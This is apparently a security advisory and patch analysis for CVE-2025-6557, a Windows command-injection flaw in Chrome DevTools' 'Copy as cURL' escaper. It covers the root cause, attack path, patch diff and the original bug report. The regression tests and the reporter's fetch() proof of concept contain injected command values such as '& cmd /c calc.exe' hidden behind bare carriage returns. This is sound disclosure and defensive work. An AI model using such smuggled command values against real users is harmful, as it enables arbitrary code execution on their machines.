CVE-2025-6557
Overview
Background
- "Copy as cURL"
- A DevTools Network panel feature that serializes a captured request into a shell
curlcommand, escaping header/cookie values so they can be pasted into a terminal. - Platform-specific escaping
generateCurlCommandemits either a POSIX (unix) or Windows (win) command, each with its own quoting/escaping rules; the changed code is the Windows-side string escaper.- CR vs. LF vs. CRLF
- Carriage return (
\r), line feed (\n), and the\r\npair are distinct control characters; on Windowscmd.exe, an unescaped newline can terminate the current command and start a new one. - Regex alternation `|`
- In a JavaScript replace pattern,
/\r?\n|\r/matches a LF (optionally preceded by CR) or a lone CR, whereas/\r?\n/matches only sequences ending in LF.
Root Cause Analysis
The Windows curl-command escaper neutralized newlines with .replace(/\r?\n/g, '^\n\n'), a pattern that matches a lone \n or a \r\n pair but never a sole carriage return (\r) that is not followed by \n. A header/cookie value containing a bare \r therefore passed through the escaper unescaped and was embedded directly into the generated Windows command string.
The fix changes the pattern to .replace(/\r?\n|\r/g, '^\n\n'), adding a |\r alternative so a standalone CR is also replaced with the caret-escaped newline sequence, closing the gap. This is a tightening of input escaping: previously-unescaped control characters are now escaped. The regression test confirms the intent, checking that a value like query=evil\r & cmd /c calc.exe is properly escaped in both unix and win output.
\r?\n failed to match a lone carriage return, letting a bare \r in a header value survive into the copied curl command unescaped; adding the |\r alternation makes the escaper handle sole CRs like other newlines.Attack Path
- Plant a malicious header value
An attacker gets a request captured in DevTools to carry a header/cookie value containing a bare carriage return followed by command text, e.g.
query=evil\r & cmd /c calc.exe(as in the regression test). - Victim copies as cURL (Windows)
The user invokes “Copy as cURL” for the
winplatform; the pre-patch escaper leaves the lone\runescaped in the produced command string. - Command breaks on paste
When pasted into
cmd.exe, the unescaped carriage return acts as a line/command boundary, so the trailing attacker-controlled text (& cmd /c calc.exe) is interpreted as a separate command rather than data — a command-injection into the pasted shell command. - Execution in the user's shell The injected command runs with the user’s privileges in their terminal; this requires the user to copy and paste the crafted command, and further impact is bounded by what that shell can do (inferred).
Impact Assessment
cmd.exe executes attacker-chosen commands with the user’s privileges. The advisory classifies this as insufficient data validation in DevTools (bug 406631048) and does not report in-the-wild exploitation; exploitation depends on user interaction (opening DevTools, copying, and pasting the command), and the concrete calc.exe-style execution is illustrated by the test but any broader escalation is (inferred).Files Changed
front_end/panels/network/NetworkLogView.test.tsfront_end/panels/network/NetworkLogView.ts
Audit Directions
- Incomplete newline/control-char patternsSearch escaping/sanitization code for
\r?\n,\n, or[\r\n]-style patterns that omit a lone\r(or other CR/LF/CRLF combinations) when building shell, HTTP, or log strings. - Command/text generation from network-controlled dataAudit other DevTools “Copy as …” and export features (
fetch, PowerShell, HAR) that serialize attacker-influenced headers/values into shell or code strings. - Platform-divergent escapingCompare
unixvs.win(and other) escaping branches for the same generator to ensure each branch neutralizes the full set of control characters, since gaps often exist in only one branch.
Patch
From 5381a527929f5a5842d00a57830950a195ba2488 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 21 May 2025 01:44:06 -0700
Subject: [PATCH] Also handle sole carriage return character (CR) when escaping curl command.
Bug: 406631048
Change-Id: I947dbf54d290ada4424bfbfcc817e1e7244bf438
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/6573473
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
---
diff --git a/front_end/panels/network/NetworkLogView.test.ts b/front_end/panels/network/NetworkLogView.test.ts
index 614e5b7..b0d653e 100644
--- a/front_end/panels/network/NetworkLogView.test.ts
+++ b/front_end/panels/network/NetworkLogView.test.ts
@@ -181,6 +181,34 @@
);
});
+ it('generates a valid curl command when header values contain CRLF', async () => {
+ const request = createNetworkRequest(urlString`http://localhost`, {
+ requestHeaders: [{name: 'cookie', value: 'query=evil\r\n & cmd /c calc.exe \n\n'}],
+ });
+ assert.strictEqual(
+ await Network.NetworkLogView.NetworkLogView.generateCurlCommand(request, 'unix'),
+ 'curl \'http://localhost\' -b $\'query=evil\\r\\n & cmd /c calc.exe \\n\\n\'',
+ );
+ assert.strictEqual(
+ await Network.NetworkLogView.NetworkLogView.generateCurlCommand(request, 'win'),
+ 'curl ^\"http://localhost^\" -b ^\"query=evil^\n\n ^& cmd /c calc.exe ^\n\n^\n\n^\"',
+ );
+ });
+
+ it('generates a valid curl command when header values contain CR only', async () => {
+ const request = createNetworkRequest(urlString`http://localhost`, {
+ requestHeaders: [{name: 'cookie', value: 'query=evil\r & cmd /c calc.exe'}],
+ });
+ assert.strictEqual(
+ await Network.NetworkLogView.NetworkLogView.generateCurlCommand(request, 'unix'),
+ 'curl \'http://localhost\' -b $\'query=evil\\r & cmd /c calc.exe\'',
+ );
+ assert.strictEqual(
+ await Network.NetworkLogView.NetworkLogView.generateCurlCommand(request, 'win'),
+ 'curl ^\"http://localhost^\" -b ^\"query=evil^\n\n ^& cmd /c calc.exe^\"',
+ );
+ });
+
const tests = (inScope: boolean) => () => {
beforeEach(() => {
networkLogView = createNetworkLogView();
diff --git a/front_end/panels/network/NetworkLogView.ts b/front_end/panels/network/NetworkLogView.ts
index 903695e..7e89058 100644
--- a/front_end/panels/network/NetworkLogView.ts
+++ b/front_end/panels/network/NetworkLogView.ts
@@ -2354,7 +2354,7 @@
.replace(/"/g, '\\"')
.replace(/[^a-zA-Z0-9\s_\-:=+~'\/.',?;()*`]/g, '^$&')
.replace(/%(?=[a-zA-Z0-9_])/g, '%^')
- .replace(/\r?\n/g, '^\n\n') +
+ .replace(/\r?\n|\r/g, '^\n\n') +
encapsChars;
}
Original Bug Report
Copy as Curl (CMD) Leads to code execution on windows
Steps to reproduce the problem
- Copy and run the payload in console (we can achieve it via html page too)
- Copy the request with copy as curl (windows)
- Paste on the windows cmd you can see calc triggers
Problem Description
HI Team, chrome latest on windows is vulnerable for code execution using copy as curl(cmd) which allows attacker to excute arbitrary code on victims (windows) machine
Issue ref: https://issues.chromium.org/issues/352651673 Similar issue was already reported to chrome and fixed (ref above) but now it was bypassed with my attached payload
Payload: fetch(“https://example.com/postit", { “credentials”: “omit”, “headers”: { “Accept-Language”: “en-US”, “Content-Type”: “text/plain”, }, “body”: “query=evil\n\ncmd /c calc1.exe\t\r\t calc2.exe \t calc3.exe \rcalc.exe\rcalc.exe\r calc7.exe \rt\r\t calc2.exe \t calc3.exe \r”, “method”: “POST”, });
I have attached the poc video for reference
Summary
Copy as Curl (CMD) Leads to code execution on windows
Custom Questions
Reporter credit:
Ameen Basha M K
Additional Data
Category: Security
Chrome Channel: Canary
Regression: N/A